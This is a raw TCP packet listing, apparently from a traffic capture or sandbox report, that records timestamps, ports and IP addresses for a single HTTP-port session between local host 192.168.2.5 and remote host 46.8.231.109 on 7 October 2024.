Oct 7, 2024 17:22:00.837888002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837898970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837905884 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837910891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837922096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837934017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837943077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.837943077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.837974072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.838367939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838403940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.838522911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838532925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838543892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838558912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838558912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.838568926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838571072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.838579893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838589907 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838592052 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.838607073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838618040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838623047 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.838629007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838639021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838640928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.838649035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838659048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.838670015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.838697910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.840307951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.840320110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.840329885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.840339899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.840368032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.840456009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.840465069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.840471983 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.840476036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.840503931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.840631008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.840668917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.840806007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.840886116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.840958118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.840969086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841003895 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841145992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841156960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841166973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841197014 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841289043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841301918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841310978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841340065 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841357946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841422081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841434002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841444016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841453075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841458082 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841475010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841507912 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841602087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841618061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841629028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841638088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841639042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841650009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841660976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841664076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841670990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841681957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841691017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841691971 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841701031 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841708899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841711998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841717958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841722965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841727018 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841727972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841734886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841748953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841758966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841770887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841772079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841783047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841793060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841799021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841804981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841814041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841815948 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841824055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841834068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841837883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841844082 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841855049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841857910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841866016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841875076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841880083 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841886997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841895103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.841900110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841916084 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.841931105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.842046022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842056036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842067003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842077971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842081070 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.842087984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842113972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.842129946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.842276096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842288971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842313051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.842331886 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.842636108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842645884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842654943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842669010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842670918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.842684984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842694998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842705011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842715025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842724085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842726946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.842735052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842746019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842760086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.842782021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.842936993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842946053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842957973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842967033 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.842979908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.843010902 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.919590950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.919624090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.919630051 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.919652939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.919663906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.919673920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.919684887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.919684887 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.919696093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.919744015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.919966936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.919976950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.919987917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920001984 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.920012951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920023918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920032024 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.920059919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.920100927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920110941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920135975 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.920795918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920810938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920821905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920844078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920855045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920855045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.920866966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920874119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.920880079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920902967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.920929909 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.920943975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920954943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920964956 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920974970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920986891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.920991898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921017885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921061039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921072960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921083927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921093941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921101093 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921116114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921140909 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921295881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921333075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921344042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921355009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921375990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921391964 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921422958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921433926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921443939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921456099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921463966 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921494007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921516895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921531916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921541929 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921554089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921554089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921566010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921576023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921581030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921587944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.921607018 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.921622038 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.922177076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.922188997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.922199011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.922219992 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.922235012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.922244072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.922255993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.922280073 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.922305107 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.922307968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.922318935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.922350883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923105955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923152924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923155069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923165083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923187017 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923202991 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923213005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923252106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923255920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923393011 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923393965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923405886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923429012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923443079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923518896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923604012 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923639059 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923676014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923687935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923713923 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923722982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923787117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923796892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923808098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923819065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923820019 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923836946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923854113 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923928976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923939943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923950911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923962116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923962116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923979044 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.923979998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.923990965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924005032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924031973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924542904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924587965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924588919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924598932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924604893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924614906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924631119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924655914 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924710989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924720049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924730062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924738884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924751997 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924777031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924791098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924801111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924810886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924832106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924865007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924875021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924880028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924885035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924895048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924905062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924911022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924935102 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924943924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924949884 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924956083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924972057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924982071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.924983978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.924990892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.925000906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.925000906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.925014019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.925024033 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.925055981 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.926472902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926484108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926534891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926549911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.926549911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.926574945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.926595926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926606894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926708937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926718950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926728964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926729918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.926742077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.926769972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.926822901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926832914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926842928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926852942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926862955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926866055 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.926872969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926882982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.926884890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.926912069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.927236080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.927278996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.927289009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.927297115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.927335978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.927417040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.927427053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.927437067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.927455902 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.927473068 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:01.002599001 CEST	80	49704	46.8.231.109	192.168.2.5
